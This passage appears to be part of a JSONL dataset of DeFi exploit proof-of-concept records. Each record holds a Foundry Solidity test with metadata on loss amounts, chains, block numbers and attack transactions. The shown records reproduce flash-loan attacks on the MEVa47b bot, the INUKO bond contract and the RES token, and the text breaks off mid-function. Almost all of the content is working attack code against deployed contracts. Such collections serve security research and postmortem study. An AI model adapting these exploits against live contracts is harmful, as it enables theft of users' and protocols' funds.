@Analysis\n// Twitter BlockSecTeam : https://twitter.com/BlockSecTeam/status/1580779311862190080\n// Twitter Ancilia : https://twitter.com/AnciliaInc/status/1580705036400611328\n\ncontract ContractTest is Test {\n IWETH constant WETH_TOKEN = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));\n IUSDC constant USDC_TOKEN = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IBalancerVault constant BALANCER_VAULT = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n address constant MEV_BOT = 0x00000000000A47b1298f18Cf67de547bbE0D723F;\n address constant EXPLOIT_CONTRACT = 0x4b77c789fa35B54dAcB5F6Bb2dAAa01554299d6C;\n IUniswapV2Pair constant WETH_USDC_PAIR_SUSHI = IUniswapV2Pair(0x397FF1542f962076d0BFE58eA045FfA2d347ACa0);\n Uni_Router_V3 constant UNI_ROUTER = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 15_741_332);\n // Adding labels to improve stack traces' readability\n vm.label(address(WETH_TOKEN), \"WETH_TOKEN\");\n vm.label(address(USDC_TOKEN), \"USDC_TOKEN\");\n vm.label(address(BALANCER_VAULT), \"BALANCER_VAULT\");\n vm.label(MEV_BOT, \"MEV_BOT\");\n vm.label(EXPLOIT_CONTRACT, \"EXPLOIT_CONTRACT\");\n vm.label(address(WETH_USDC_PAIR_SUSHI), \"WETH_USDC_PAIR_SUSHI\");\n vm.label(0x8ad599c3A0ff1De082011EFDDc58f1908eb6e6D8, \"WETH_USDC_POOL_2\");\n vm.label(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640, \"WETH_USDC_POOL_3\");\n vm.label(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc, \"WETH_USDC_PAIR_V2\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"\\n[Start] Attacker WETH balance before exploit\", WETH_TOKEN.balanceOf(address(this)), 18\n );\n\n address[] memory tokens = new address[](1);\n tokens[0] = address(WETH_TOKEN);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 1;\n // Not really know how this byte calldata works\n bytes memory userData = bytes.concat(\n abi.encode(\n 0x0000000000000000000000000000000000000000000000000000000000000080,\n 0x0000000000000000000000000000000000000000000000000000000000000100,\n 0x0000000000000000000000000000000000000000000000000000000000000280,\n 0x00000000000000000000000000000000000000000000000a2d7f7bb876b5a551,\n 0x0000000000000000000000000000000000000000000000000000000000000003,\n address(WETH_TOKEN),\n address(USDC_TOKEN),\n address(WETH_TOKEN),\n 0x0000000000000000000000000000000000000000000000000000000000000002,\n 0x0000000000000000000000000000000000000000000000000000000000000040,\n 0x00000000000000000000000000000000000000000000000000000000000000c0\n ),\n abi.encode(\n 0x0000000000000000000000000000000000000000000000000000000000000060,\n 0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2a0b86991c6218b36c1d19d4a,\n 0x2e9eb0ce3606eb48000000000000000000000000000000000000000000000000,\n 0x0000000a707868e3b4dea47088e6a0c2ddd26feeb64f039a2c41296fcb3f5640,\n 0x0000000000000000000000000000000000000000000000000000000000000064,\n 0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48c02aaa39b223fe8d0a0e5c4f,\n 0x27ead9083c756cc2000000000000000000000000000000000000000000000000,\n // original: 0x000000000000003d539801af4b77c789fa35b54dacb5f6bb2daaa01554299d6c,\n // 3d539801af + address(EXPLOIT_CONTRACT)\n // PoC: 0x000000000000003d539801af7FA9385bE102ac3EAc297483Dd6233D62b3e1496\n // 3d539801af + address(EXPLOIT_CONTRACT)\n 0x000000000000003d539801af7FA9385bE102ac3EAc297483Dd6233D62b3e1496,\n 0x26f2000000000000000000000000000000000000000000000000000000000000,\n 0x0000000000000000000000000000000000000000000000000000000000000002,\n 0x0000000000000000000000000000000000000000000000000000000000000008,\n 0x0000000000000000000000000000000000000000000000000000000000000000\n )\n );\n BALANCER_VAULT.flashLoan(MEV_BOT, tokens, amounts, userData);\n\n emit log_named_decimal_uint(\n \"\\tAttacker USDC balance during the exploit...\", USDC_TOKEN.balanceOf(address(this)), 6\n );\n\n // Exchanging all USDC for WETH\n USDC_TOKEN.approve(address(UNI_ROUTER), type(uint256).max);\n _USDCToWETH();\n\n emit log_named_decimal_uint(\n \"\\n[End] Attacker WETH balance after exploit\", WETH_TOKEN.balanceOf(address(this)), 18\n );\n }\n\n function getReserves() external view returns (uint112, uint112, uint32) {\n return WETH_USDC_PAIR_SUSHI.getReserves();\n }\n\n function swap(uint256, uint256, address, bytes calldata) external pure {\n return;\n }\n\n /**\n * Auxiliary function to swap all USDC to WETH\n */\n function _USDCToWETH() internal {\n Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({\n tokenIn: address(USDC_TOKEN),\n tokenOut: address(WETH_TOKEN),\n fee: 500,\n recipient: address(this),\n deadline: block.timestamp,\n amountIn: USDC_TOKEN.balanceOf(address(this)),\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n });\n UNI_ROUTER.exactInputSingle(_Params);\n }\n}\n", "type": "exploit_poc", "protocol": "MEVa47b", "date": "2022-10", "file_name": "MEVa47b_exp.sol", "attack_vector": "flash_loan", "content_hash": "7a80787511256b1e", "collected_at": "2026-01-07T10:59:16.516569", "_source": "postmortems", "chain": "ethereum", "block_number": 15741332, "total_lost_raw": "~187.75 WETH", "total_lost_usd": 187.75, "attacker_address": null, "attack_contract": "https://etherscan.io/address/0x4b77c789fa35b54dacb5f6bb2daaa01554299d6c", "vulnerable_contract": "https://etherscan.io/address/0x00000000000a47b1298f18cf67de547bbe0d723f#code", "attack_tx": "https://etherscan.io/tx/0x35ecf595864400696853c53edf3e3d60096639b6071cadea6076c9c6ceb921c1", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "~187.75 WETH", "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"\\n[Start] Attacker WETH balance before exploit\", WETH_TOKEN.balanceOf(address(this)), 18\n );\n\n address[] memory tokens = new address[](1);\n tokens[0] = address(WETH_TOKEN);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 1;\n // Not really know how this byte calldata works\n bytes memory userData = bytes.concat(\n abi.encode(\n 0x0000000000000000000000000000000000000000000000000000000000000080,\n 0x0000000000000000000000000000000000000000000000000000000000000100,\n 0x0000000000000000000000000000000000000000000000000000000000000280,\n 0x00000000000000000000000000000000000000000000000a2d7f7bb876b5a551,\n 0x0000000000000000000000000000000000000000000000000000000000000003,\n address(WETH_TOKEN),\n address(USDC_TOKEN),\n address(WETH_TOKEN),\n 0x0000000000000000000000000000000000000000000000000000000000000002,\n 0x0000000000000000000000000000000000000000000000000000000000000040,\n 0x00000000000000000000000000000000000000000000000000000000000000c0\n ),\n abi.encode(\n 0x0000000000000000000000000000000000000000000000000000000000000060,\n 0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2a0b86991c6218b36c1d19d4a,\n 0x2e9eb0ce3606eb48000000000000000000000000000000000000000000000000,\n 0x0000000a707868e3b4dea47088e6a0c2ddd26feeb64f039a2c41296fcb3f5640,\n 0x0000000000000000000000000000000000000000000000000000000000000064,\n 0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48c02aaa39b223fe8d0a0e5c4f,\n 0x27ead9083c756cc2000000000000000000000000000000000000000000000000,\n // original: 0x000000000000003d539801af4b77c789fa35b54dacb5f6bb2daaa01554299d6c,\n // 3d539801af + address(EXPLOIT_CONTRACT)\n // PoC: 0x000000000000003d539801af7FA9385bE102ac3EAc297483Dd6233D62b3e1496\n // 3d539801af + address(EXPLOIT_CONTRACT)\n 0x000000000000003d539801af7FA9385bE102ac3EAc297483Dd6233D62b3e1496,\n 0x26f2000000000000000000000000000000000000000000000000000000000000,\n 0x0000000000000000000000000000000000000000000000000000000000000002,\n 0x0000000000000000000000000000000000000000000000000000000000000008,\n 0x0000000000000000000000000000000000000000000000000000000000000000\n )\n );\n BALANCER_VAULT.flashLoan(MEV_BOT, tokens, amounts, userData);\n\n emit log_named_decimal_uint(\n \"\\tAttacker USDC balance during the exploit...\", USDC_TOKEN.balanceOf(address(this)), 6\n );\n\n // Exchanging all USDC for WETH\n USDC_TOKEN.approve(address(UNI_ROUTER), type(uint256).max);\n _USDCToWETH();\n\n emit log_named_decimal_uint(\n \"\\n[End] Attacker WETH balance after exploit\", WETH_TOKEN.balanceOf(address(this)), 18\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~187.75 WETH", "keyinfo_attacker": "", "keyinfo_attack_contract": "https://etherscan.io/address/0x4b77c789fa35b54dacb5f6bb2daaa01554299d6c", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x00000000000a47b1298f18cf67de547bbe0d723f#code", "keyinfo_attack_tx": "https://etherscan.io/tx/0x35ecf595864400696853c53edf3e3d60096639b6071cadea6076c9c6ceb921c1", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$188", "content_richness_score": 10, "quality_estimate": "high", "title": "MEVa47b Exploit (2022-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/AnciliaInc/status/1587848874076430336\n// @Address\n// https://bscscan.com/txs?a=0xb12011c14e087766f30f4569ccaf735ec2182165\n\ninterface Bond {\n function buyBond(uint256 lpAmount, uint256 bondId) external;\n function claim(\n uint256 index\n ) external;\n}\n\ninterface VBUSD {\n function mint(\n uint256 mintAmount\n ) external;\n function redeemUnderlying(\n uint256 redeemAmount\n ) external;\n}\n\ninterface VBNB {\n function mint() external payable;\n function redeemUnderlying(\n uint256 redeemAmount\n ) external;\n}\n\ninterface VETH {\n function mint(\n uint256 mintAmount\n ) external;\n function redeemUnderlying(\n uint256 redeemAmount\n ) external;\n}\n\ninterface VBTC {\n function mint(\n uint256 mintAmount\n ) external;\n function redeemUnderlying(\n uint256 redeemAmount\n ) external;\n}\n\ninterface VUSDT {\n function borrow(\n uint256 borrowAmount\n ) external;\n function repayBorrow(\n uint256 repayAmount\n ) external;\n}\n\ninterface Unitroller {\n function getAccountLiquidity(\n address account\n ) external returns (uint256, uint256, uint256);\n function enterMarkets(\n address[] calldata vTokens\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC20 INUKO = IERC20(0xEa51801b8F5B88543DdaD3D1727400c15b209D8f);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);\n IERC20 ETH = IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8);\n IERC20 BTCB = IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0xD50B9Bcd8B7D4B791EA301DBCC8318EE854d8B67);\n VBNB vBNB = VBNB(0xA07c5b74C9B40447a954e1466938b865b6BBea36);\n VBUSD vBUSD = VBUSD(0x95c78222B3D6e262426483D42CfA53685A67Ab9D);\n VETH vETH = VETH(0xf508fCD89b8bd15579dc79A6827cB4686A3592c8);\n VBTC vBTC = VBTC(0x882C173bC7Ff3b7786CA16dfeD3DFFfb9Ee7847B);\n VUSDT vUSDT = VUSDT(0xfD5840Cd36d94D7229439859C0112a4185BC0255);\n Unitroller unitroller = Unitroller(0xfD36E2c2a6789Db23113685031d7F16329158384);\n IERC20 token1;\n IERC20 token2;\n uint256 amount1;\n uint256 amount2;\n uint256 amount3;\n uint256 amount4;\n uint256 amount5;\n uint256 amount6;\n uint256 amount7;\n uint256 amount8;\n uint256 amount9;\n uint256 amount10;\n uint256 amount11;\n uint256 amount12;\n uint256 amount13;\n uint256 amount14;\n uint256 amount15;\n uint256 amount16;\n address constant dodo1 = 0xDa26Dd3c1B917Fbf733226e9e71189ABb4919E3f;\n address constant dodo2 = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;\n address constant dodo3 = 0xD7B7218D778338Ea05f5Ecce82f86D365E25dBCE;\n address constant dodo4 = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;\n address constant dodo5 = 0x7A3F460F37AE8A8FF2C2440B8A8ee784cCD0B543;\n address constant dodo6 = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;\n address constant dodo7 = 0x9BA8966B706c905E594AcbB946Ad5e29509f45EB;\n address constant dodo8 = 0x26d0c625e5F5D6de034495fbDe1F6e9377185618;\n Bond bond = Bond(0x09beDDae85a9b5Ada57a5bd7979bb7b3dd08B538);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n // the ankr rpc maybe dont work , please use QuickNode\n cheats.createSelectFork(\"bsc\", 22_169_169);\n }\n\n function testExploit() public payable {\n address(WBNB).call{value: 5 ether}(\"\");\n // add LP\n addLiquidity();\n // FlashLoan manipulate price, then buy bond\n buyBond();\n // change time pass time check , claim reward\n cheats.warp(block.timestamp + 3 * 24 * 60 * 60);\n claimAndSell();\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n }\n\n function addLiquidity() internal {\n WBNB.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](3);\n path[0] = address(WBNB);\n path[1] = address(USDT);\n path[2] = address(INUKO);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WBNB.balanceOf(address(this)) / 2, 0, path, address(this), block.timestamp\n );\n\n address[] memory path1 = new address[](2);\n path1[0] = address(WBNB);\n path1[1] = address(USDT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WBNB.balanceOf(address(this)), 0, path1, address(this), block.timestamp\n );\n\n USDT.approve(address(Router), type(uint256).max);\n INUKO.approve(address(Router), type(uint256).max);\n Router.addLiquidity(\n address(USDT),\n address(INUKO),\n USDT.balanceOf(address(this)),\n INUKO.balanceOf(address(this)),\n 0,\n 0,\n address(this),\n block.timestamp\n );\n\n Pair.approve(address(bond), type(uint256).max);\n }\n\n function buyBond() internal {\n token1 = IERC20(DVM(dodo1)._BASE_TOKEN_());\n token2 = IERC20(DVM(dodo1)._QUOTE_TOKEN_());\n amount1 = token1.balanceOf(dodo1);\n amount2 = token2.balanceOf(dodo1);\n DVM(dodo1).flashLoan(amount1, amount2, address(this), new bytes(1)); //WBNB USDT\n }\n\n function DPPFlashLoanCall(\n address sender,\n uint256 baseAmount,\n uint256 quoteAmount,\n bytes calldata data\n ) external payable {\n if (msg.sender == dodo1) {\n WBNB_BUSD_Pair_Loan();\n } else if (msg.sender == dodo2) {\n ETH_USDT_Pair_Loan1();\n } else if (msg.sender == dodo3) {\n WBNB_USDT_Pair_Loan();\n } else if (msg.sender == dodo4) {\n BTCB_BUSD_Pair_Loan();\n } else if (msg.sender == dodo5) {\n ETH_USDT_Pair_Loan2();\n } else if (msg.sender == dodo6) {\n ETH_BUSD_Pair_Loan();\n } else if (msg.sender == dodo7) {\n BTCB_USDT_Pair_Loan();\n } else if (msg.sender == dodo8) {\n venusLendingAndRepay();\n BTCB.transfer(dodo8, amount15);\n USDT.transfer(dodo8, amount16);\n }\n }\n\n function WBNB_BUSD_Pair_Loan() internal {\n token1 = IERC20(DVM(dodo2)._BASE_TOKEN_());\n token2 = IERC20(DVM(dodo2)._QUOTE_TOKEN_());\n amount3 = token1.balanceOf(dodo2);\n amount4 = token2.balanceOf(dodo2);\n DVM(dodo2).flashLoan(amount3, amount4, address(this), new bytes(1));\n WBNB.transfer(dodo1, amount1);\n USDT.transfer(dodo1, amount2);\n }\n\n function ETH_USDT_Pair_Loan1() internal {\n token1 = IERC20(DVM(dodo3)._BASE_TOKEN_());\n token2 = IERC20(DVM(dodo3)._QUOTE_TOKEN_());\n amount5 = token1.balanceOf(dodo3);\n amount6 = token2.balanceOf(dodo3);\n DVM(dodo3).flashLoan(amount5, amount6, address(this), new bytes(1));\n WBNB.transfer(dodo2, amount3);\n BUSD.transfer(dodo2, amount4);\n }\n\n function WBNB_USDT_Pair_Loan() internal {\n token1 = IERC20(DVM(dodo4)._BASE_TOKEN_());\n token2 = IERC20(DVM(dodo4)._QUOTE_TOKEN_());\n amount7 = token1.balanceOf(dodo4);\n amount8 = token2.balanceOf(dodo4);\n DVM(dodo4).flashLoan(amount7, amount8, address(this), new bytes(1));\n ETH.transfer(dodo3, amount5);\n USDT.transfer(dodo3, amount6);\n }\n\n function BTCB_BUSD_Pair_Loan() internal {\n token1 = IERC20(DVM(dodo5)._BASE_TOKEN_());\n token2 = IERC20(DVM(dodo5)._QUOTE_TOKEN_());\n amount9 = token1.balanceOf(dodo5);\n amount10 = token2.balanceOf(dodo5);\n DVM(dodo5).flashLoan(amount9, amount10, address(this), new bytes(1));\n WBNB.transfer(dodo4, amount7);\n USDT.transfer(dodo4, amount8);\n }\n\n function ETH_USDT_Pair_Loan2() internal {\n token1 = IERC20(DVM(dodo6)._BASE_TOKEN_());\n token2 = IERC20(DVM(dodo6)._QUOTE_TOKEN_());\n amount11 = token1.balanceOf(dodo6);\n amount12 = token2.balanceOf(dodo6);\n DVM(dodo6).flashLoan(amount11, amount12, address(this), new bytes(1));\n BTCB.transfer(dodo5, amount9);\n BUSD.transfer(dodo5, amount10);\n }\n\n function ETH_BUSD_Pair_Loan() internal {\n token1 = IERC20(DVM(dodo7)._BASE_TOKEN_());\n token2 = IERC20(DVM(dodo7)._QUOTE_TOKEN_());\n amount13 = token1.balanceOf(dodo7);\n amount14 = token2.balanceOf(dodo7);\n DVM(dodo7).flashLoan(amount13, amount14, address(this), new bytes(1)); // WBNB BUSD\n ETH.transfer(dodo6, amount11);\n USDT.transfer(dodo6, amount12);\n }\n\n function BTCB_USDT_Pair_Loan() internal {\n token1 = IERC20(DVM(dodo8)._BASE_TOKEN_());\n token2 = IERC20(DVM(dodo8)._QUOTE_TOKEN_());\n amount15 = token1.balanceOf(dodo8);\n amount16 = token2.balanceOf(dodo8);\n DVM(dodo8).flashLoan(amount15, amount16, address(this), new bytes(1)); // WBNB BUSD\n ETH.transfer(dodo7, amount13);\n BUSD.transfer(dodo7, amount14);\n }\n\n function venusLendingAndRepay() public payable {\n uint256 BNBAmount = WBNB.balanceOf(address(this));\n address(WBNB).call(abi.encodeWithSignature(\"withdraw(uint)\", BNBAmount));\n uint256 BUSDAmount = BUSD.balanceOf(address(this));\n uint256 ETHAmount = ETH.balanceOf(address(this));\n uint256 BTCBAmount = BTCB.balanceOf(address(this));\n address[] memory cTokens = new address[](5);\n cTokens[0] = address(vBNB);\n cTokens[1] = address(vUSDT);\n cTokens[2] = address(vBUSD);\n cTokens[3] = address(vETH);\n cTokens[4] = address(vBTC);\n unitroller.enterMarkets(cTokens);\n vBNB.mint{value: BNBAmount}();\n BUSD.approve(address(vBUSD), type(uint256).max);\n vBUSD.mint(BUSDAmount);\n ETH.approve(address(vETH), type(uint256).max);\n vETH.mint(ETHAmount);\n BTCB.approve(address(vBTC), type(uint256).max);\n vBTC.mint(BTCBAmount);\n (, uint256 amount,) = unitroller.getAccountLiquidity(address(this));\n\n vUSDT.borrow(amount * 99 / 100);\n USDT.transfer(address(Pair), USDT.balanceOf(address(this)));\n bond.buyBond(Pair.balanceOf(address(this)), 0);\n Pair.skim(address(this));\n USDT.approve(address(vUSDT), type(uint256).max);\n vUSDT.repayBorrow(amount * 99 / 100);\n vBNB.redeemUnderlying(BNBAmount);\n address(WBNB).call{value: address(this).balance}(\"\");\n vBUSD.redeemUnderlying(BUSDAmount);\n vETH.redeemUnderlying(ETHAmount);\n vBTC.redeemUnderlying(BTCBAmount);\n }\n\n function claimAndSell() internal {\n bond.claim(0);\n INUKO.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(INUKO);\n path[1] = address(USDT);\n // TX LIMIT\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 25_000 * 1e18, 0, path, address(this), block.timestamp\n );\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 25_000 * 1e18, 0, path, address(this), block.timestamp\n );\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n INUKO.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "INUKO", "date": "2022-10", "file_name": "INUKO_exp.sol", "attack_vector": "flash_loan", "content_hash": "8947dc92ee92ddd1", "collected_at": "2026-01-07T10:59:16.516631", "_source": "postmortems", "chain": "bsc", "block_number": 22169169, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public payable {\n address(WBNB).call{value: 5 ether}(\"\");\n // add LP\n addLiquidity();\n // FlashLoan manipulate price, then buy bond\n buyBond();\n // change time pass time check , claim reward\n cheats.warp(block.timestamp + 3 * 24 * 60 * 60);\n claimAndSell();\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 6, "quality_estimate": "medium", "title": "INUKO Exploit (2022-10)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : 290,671 USDT\n// Attacker : 0x986b2e2a1cf303536138d8ac762447500fd781c6\n// Attack Contract : https://bscscan.com/address/0xFf333DE02129AF88aAe101ab777d3f5D709FeC6f\n// Vulnerable Contract : https://bscscan.com/address/0xeccd8b08ac3b587b7175d40fb9c60a20990f8d21\n// Attack Txs :\n// - https://bscscan.com/tx/0xe59fa48212c4ee716c03e648e04f0ca390f4a4fc921a890fded0e01afa4ba96d\n// - https://bscscan.com/tx/0xef19a4dfd69874d5efda3e38b5a19cae4e0b0bdc95769760bd85ede4d15609ac\n\n// @Info\n// Vulnerable Contract Code : https://www.bscscan.com/address/0xecCD8B08Ac3B587B7175D40Fb9C60a20990F8D21#code#L683\n\n// @Analysis\n// Twitter BlockSecTeam : https://twitter.com/BlockSecTeam/status/1578120337509662721\n// Twitter Ancilia : https://x.com/AnciliaInc/status/1578119778446680064\n// Article QuillAudits : https://quillaudits.medium.com/res-token-290k-flash-loan-exploit-quillaudits-9300657fff7b\n\ninterface IRES is IERC20 {\n function thisAToB() external;\n}\n\ncontract ContractTest is Test {\n IUSDT constant USDT_TOKEN = IUSDT(0x55d398326f99059fF775485246999027B3197955);\n IERC20 constant ALL_TOKEN = IERC20(0x04C0f31C0f59496cf195d2d7F1dA908152722DE7);\n IPancakeRouter constant PS_ROUTER = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IPancakePair constant USDT_WBNB_PAIR = IPancakePair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);\n IPancakePair constant USDT_RES_PAIR = IPancakePair(0x05ba2c512788bd95cd6D61D3109c53a14b01c82A);\n IPancakePair constant USDT_ALL_PAIR = IPancakePair(0x1B214e38C5e861c56e12a69b6BAA0B45eFe5C8Eb);\n IRES constant RES_TOKEN = IRES(0xecCD8B08Ac3B587B7175D40Fb9C60a20990F8D21);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 21_948_016);\n // Adding labels to improve stack traces' readability\n vm.label(address(USDT_TOKEN), \"USDT_TOKEN\");\n vm.label(address(PS_ROUTER), \"PS_ROUTER\");\n vm.label(address(USDT_WBNB_PAIR), \"USDT_WBNB_PAIR\");\n vm.label(address(USDT_RES_PAIR), \"USDT_RES_PAIR\");\n vm.label(address(USDT_ALL_PAIR), \"USDT_ALL_PAIR\");\n vm.label(address(RES_TOKEN), \"RES_TOKEN\");\n }\n\n function stringsEquals(bytes calldata s1, string memory s2) private pure returns (bool) {\n bytes memory b1 = bytes(s1);\n bytes memory b2 = bytes(s2);\n\n uint256 l1 = b1.length;\n if (l1 != b2.length) return false;\n for (uint256 i = 0; i < l1; i++) {\n if (b1[i] != b2[i]) return false;\n }\n return true;\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"[Start] Attacker USDT balance before exploit\", USDT_TOKEN.balanceOf(address(this)), 18\n );\n\n USDT_WBNB_PAIR.swap(10_014_120_886_666_860_414_836_616, 0, address(this), \"borrowusdt\");\n\n emit log_named_decimal_uint(\n \"[End] Attacker USDT balance after exploit\", USDT_TOKEN.balanceOf(address(this)), 18\n );\n }\n\n function pancakeCall(address, /*sender*/ uint256 amount0, uint256, /*amount1*/ bytes calldata data) external {\n if (stringsEquals(data, \"borrowusdt\")) {\n emit log_named_decimal_uint(\n \"[Flashloan] now Attacker USDT balance is\", USDT_TOKEN.balanceOf(address(this)), 18\n );\n\n USDT_TOKEN.approve(address(PS_ROUTER), type(uint256).max);\n\n address[] memory path = new address[](2);\n path[0] = address(USDT_TOKEN);\n path[1] = address(RES_TOKEN);\n\n emit log_named_decimal_uint(\n \"[FlashLoan] Res Token Balance of address(user)\",\n RES_TOKEN.balanceOf(address(0x3F693Effc53908d517F186A20431f756C90c2229)),\n 8\n );\n\n USDT_TOKEN.transfer(address(USDT_RES_PAIR), 476_862_899_365_088_591_182_696);\n\n // use flashswap will get more than buy\n USDT_RES_PAIR.swap(0, 71_519_292_481_906, address(0x3F693Effc53908d517F186A20431f756C90c2229), \"\");\n\n console.log(\"[FlashLoan] swap 1 over\");\n\n USDT_TOKEN.transfer(address(USDT_RES_PAIR), 953_725_798_730_177_182_365_392);\n\n USDT_RES_PAIR.swap(0, 22_030_478_307_020, address(0x3F693Effc53908d517F186A20431f756C90c2229), \"\");\n\n console.log(\"[FlashLoan] swap 2 over\");\n\n USDT_TOKEN.transfer(address(USDT_RES_PAIR), 1_430_588_698_095_265_773_548_088);\n\n USDT_RES_PAIR.swap(0, 7_810_673_572_823, address(0x3F693Effc53908d517F186A20431f756C90c2229), \"\");\n\n console.log(\"[FlashLoan] swap 3 over\");\n\n USDT_TOKEN.transfer(address(USDT_RES_PAIR), 1_907_451_597_460_354_364_730_784);\n\n USDT_RES_PAIR.swap(0, 3_504_534_400_905, address(0x3F693Effc53908d517F186A20431f756C90c2229), \"\");\n\n console.log(\"[FlashLoan] swap 4 over\");\n\n USDT_TOKEN.transfer(address(USDT_RES_PAIR), 2_384_314_496_825_442_955_913_480);\n\n USDT_RES_PAIR.swap(0, 1_845_944_923_363, address(0x3F693Effc53908d517F186A20431f756C90c2229), \"\");\n\n console.log(\"[FlashLoan] swap 5 over\");\n\n USDT_TOKEN.transfer(address(USDT_RES_PAIR), 2_861_177_396_190_531_547_096_176);\n\n USDT_RES_PAIR.swap(0, 1_084_945_873_965, address(0x3F693Effc53908d517F186A20431f756C90c2229), \"\");\n\n console.log(\"[FlashLoan] swap 6 over\");\n\n // cost contract usd\n RES_TOKEN.thisAToB();\n\n // token can't support transfer to contract\n vm.prank(0x3F693Effc53908d517F186A20431f756C90c2229);\n RES_TOKEN.approve(address(this), type(uint256).max);\n\n vm.prank(0x3F693Effc53908d517F186A20431f756C90c2229);\n ALL_TOKEN.approve(address(this), type(uint256).max);\n\n uint256 res_balance = RES_TOKEN.balanceOf(address(0x3F693Effc53908d517F186A20431f756C90c2229));\n\n emit log_named_decimal_uint(\"[FlashLoan] Res Token Balance of address(user)\", res_balance, 8);\n\n emit log_named_decimal_uint(\n \"[FlashLoan] All Token Balance of address(user)\",\n ALL_TOKEN.balanceOf(address(0x3F693Effc53908d517F186A20431f756C90c2229)),\n 18\n );\n\n uint256 alltoken_balance = ALL_TOKEN.balanceOf(address(0x3F693Effc53908d517F186A20431f756C90c2229));\n\n ALL_TOKEN.transferFrom(0x3F693Effc53908d517F186A20431f756C90c2229, address(USDT_ALL_PAIR), alltoken_balance);\n\n console.log(\"transfer all token over\");\n\n (uint256 reserve0, uint256 reserve1,) = USDT_ALL_PAIR.getReserves();\n\n uint256 get_value = (alltoken_balance * reserve1) / (alltoken_balance + reserve0);\n\n uint256 getusdamount = get_value - ((get_value * 10 / 10_000));\n\n USDT_ALL_PAIR.swap(0, getusdamount, address(this), \"\");\n\n emit log_named_decimal_uint(\n \"[FlashLoan] sell Alltoken over, Attacker usdt balance is\", USDT_TOKEN.balanceOf(address(this)), 18\n );\n\n RES_TOKEN.transferFrom(0x3F693Effc53908d517F186A20431f756C90c2229, address(USDT_RES_PAIR), res_balance);\n\n USDT_RES_PAIR.swap(1_905_851_854_454_828_201_052_166, 0, address(this), \"\");\n\n emit log_named_decimal_uint(\n \"[FlashLoan] sell Restoken over, Attacker usdt balance is\", USDT_TOKEN.balanceOf(address(this)), 18\n );\n\n uint256 refund = amount0 + ((amount0 * 251 / 100_000));\n USDT_TOKEN.transfer(address(USDT_WBNB_PAIR), refund);\n } else 